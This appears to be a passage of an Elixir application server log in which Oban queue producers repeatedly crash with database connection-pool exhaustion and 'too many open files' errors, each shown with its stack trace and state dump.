** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:52:12.250217Z], limit: 3, uuid: "4f8ce464-56ed-4bc3-bb2c-9067830be547", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:12.250222Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.247024>, refresh_timer: #Reference<0.2525715032.1099169794.246964>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1077ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:52:12.250767Z], limit: 50, uuid: "b148e90a-30f4-4328-a976-a37956043bc6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:12.250772Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.247023>, refresh_timer: #Reference<0.2525715032.1099169794.246977>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:24.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 876ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:52:12.251025Z], limit: 5, uuid: "1c85917d-41fb-44de-aea6-e8b34b9732c2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:12.251030Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.247022>, refresh_timer: #Reference<0.2525715032.1099169794.246991>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:24.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:52:12.251190Z], limit: 5, uuid: "8e4d2a51-44ed-402e-965a-1f093a1b08ac", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:12.251195Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.247021>, refresh_timer: #Reference<0.2525715032.1099169794.246999>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:24.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:52:12.251335Z], limit: 10, uuid: "e0d61422-82f9-4518-9d46-95cdf9237724", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:12.251339Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.247020>, refresh_timer: #Reference<0.2525715032.1099169794.247007>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1059ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:52:12.255574Z], limit: 20, uuid: "f46424fa-e9a4-409b-bdc4-45d23e014851", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:12.255580Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.247064>, refresh_timer: #Reference<0.2525715032.1099169794.247034>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:25.064000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:26.121000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:26.481000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:29.711000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:34.435000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:35.885000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:52:24.240527Z], limit: 10, uuid: "97f08026-8658-4cdb-9a47-083868406ae1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:24.240532Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.223523>, refresh_timer: #Reference<0.2525715032.1121189889.98250>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:52:24.240076Z], limit: 50, uuid: "d619b7e1-ee8a-4b2a-8ee1-9dbcde2e3468", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:24.240082Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.223521>, refresh_timer: #Reference<0.2525715032.1068236804.239870>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:36.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:52:24.246003Z], limit: 20, uuid: "ea6b2914-8b49-4ad2-b4d7-a02ddd5f677a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:24.246009Z]}, name: {:via, 